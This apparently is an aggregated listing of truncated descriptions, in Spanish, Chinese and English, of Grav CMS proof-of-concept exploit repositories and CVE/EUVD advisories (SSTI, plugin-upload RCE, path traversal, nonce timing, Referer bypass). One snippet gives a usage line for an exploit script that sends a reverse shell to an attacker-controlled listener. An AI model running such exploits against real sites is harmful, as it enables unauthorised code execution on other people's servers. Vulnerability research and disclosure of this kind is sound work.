GenGravSSTIExploit

ES GenGravSSTIExploit es un script PoC en Python que explota una vulnerabilidad autenticada de inyección de plantillas del lado del servidor SSTI en Grav CMS versiones = 1.7.44 CVE-2024-28116. Esta vulnerabilidad permite a un usuario con permisos de editor ejecutar comandos del SO en un servidor...

CVE-2025-50286

Grav CMS v1.7.48 / Admin Plugin v1.10.48 - 通过插件上传实现的认证 RCE（CVE-2025-50286） Grav CMS v1.7.48 配合 Admin Plugin v1.10.48 存在通过“Direct Install”插件上传功能触发的远程代码执行（RCE）漏洞，允许已认证的管理员在服务器上执行任意 PHP 代码。 CVE 编号 CVE-2025-50286 概述 类型： 认证远程代码执行（RCE） 位置： /admin/tools/direct-install（管理面板 工具 直接安装） 影响： 任意 PHP...

Graver

Graver 描述 针对 Grav CMS 中已认证的 SSTI+RCE 漏洞（CVE-2024-28116）的概念验证（PoC）脚本。 该脚本会在运行存在漏洞的 Grav CMS 的服务器上创建一个恶意的 RCE 页面。 参考： https://nvd.nist.gov/vuln/detail/CVE-2024-28116 备注 由于这是一个已认证漏洞，因此需要使用 Grav CMS 编辑者用户的有效凭据（在脚本中硬编码这些凭据）。 用法 以下是该工具的一个使用示例： root@kitploit: python3 graver.py -t -p 包含返回输出的简单示例：...

Grav-CMS-RCE-Authenticated

Grav CMS Remote Code Execution Authenticated - CVE-2024-28116 Info This code is an adaptation fromGraver Github repository with some improvements based on this video. Exploit against Grav CMS for versions below 1.7.45 based on SSTI + RCE vulnerabilities, labeled as CVE-2024-28116. This script...

grav-cve-2024-28116

CVE-2024-28116 — Grav CMS 中的 SSTI 与沙箱绕过 对 CVE-2024-28116 的分析与 Docker 复现。该漏洞是 Grav CMS 1.7.44 及更早版本中的一个服务端模板注入（SSTI）漏洞，可绕过安全沙箱，已在 1.7.45 版本中修复。 报告者：Maurizio Siddu akabe1 CVSS v3.1 评分：8.8（高危） 修复版本：Grav CMS 1.7.45 仓库结构 vulnerable Dockerfile Grav CMS 1.7.44（存在漏洞） apache.conf Apache 配置 patched...

CVE-2026-65008

CVE-2026-65008 — Grav CMS 2.0.7 认证 RCE CVE-2026-65008 的概念验证：通过 Blueprint::dynamicData 中不受限制的 calluserfuncarray，在 Grav CMS 中实现认证远程代码执行。 拥有 admin.pages（或 api.pages.write）权限的用户可以植入恶意表单 frontmatter。当任何 访客（包括未认证用户）加载页面时，该载荷将以 Web 服务器用户身份执行。 仅限授权测试。 仅可用于您拥有或已获得明确书面许可进行测试的系统。 致谢 角色| ---|--- 漏洞报告者|...

CVE-2021-29440

CVE-2021-29440 Unsafe Twig processing of static pages leading to RCE in Grav CMS 1.7.10 Grav is a file based Web-platform. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this...

CVE-2021-21425-RCE

这是我自己的版本，我在网上找到了很多，但那些都很糟糕。 用法 root@kitploit: python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 等待.. 60秒后你将在监听器上获得shell。...

CVE-2026-72702

Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...

CVE-2026-72696

Grav CMS before 2.0.16 contains a symlink following vulnerability in Scheduler Job::createLockFile that allows local attackers to overwrite arbitrary files by pre-creating symlinks at predictable lock file paths in the world-writable temp directory. Attackers can place a symlink at the predictabl...

CVE-2026-72697

Grav CMS before 2.0.16 contains a path traversal vulnerability in the mediadirectory Twig function that fails to validate filesystem paths, allowing authenticated users to enumerate and access files outside intended scope. Attackers with page authoring privileges can supply arbitrary filesystem...

CVE-2026-72698

Grav CMS before 2.0.16 fails to filter system, site, and theme configuration arrays in sandboxed Twig renders, allowing content editors to read sensitive configuration values. Attackers with page-content edit access can access raw configuration arrays including secrets like cache credentials by...

CVE-2026-72695

Grav before 2.0.16 contains a path traversal vulnerability in MediaUploadTrait::deleteFile that allows authenticated users with media management permissions to delete arbitrary files by supplying filenames with directory traversal sequences. The method validates only the basename portion of the...

CVE-2026-72701

Grav CMS before 2.0.16 contains a timing vulnerability in Utils::verifyNonce that uses non-constant-time string comparison with the === operator instead of hashequals for CSRF nonce validation. Attackers can measure response timing differences to recover valid nonce values byte-by-byte through...

EUVD-2026-65219

Grav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet and offsetexists methods that lack field filtering. Attackers with page-edit permissions can call offsetGet on User objects to extract hashed passwords and 2FA secrets, enabling offli...

EUVD-2026-65216

Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...

CVE-2026-72702 Grav CMS before 2.0.16 Origin Validation Bypass via Referer

Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...

CVE-2026-72702

Grav CMS versions before 2.0.16 contain an origin validation bypass in the Uri::referrer() and Pages::referrerRoute() methods. The root cause is an unanchored string prefix match (str_starts_with($referrer, $base)) with no trailing delimiter, meaning an attacker who controls a domain that begins ...

CVE-2026-72702 Grav CMS before 2.0.16 Origin Validation Bypass via Referer

Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...

EUVD-2026-65215

Grav CMS before 2.0.16 contains a timing vulnerability in Utils::verifyNonce that uses non-constant-time string comparison with the === operator instead of hashequals for CSRF nonce validation. Attackers can measure response timing differences to recover valid nonce values byte-by-byte through...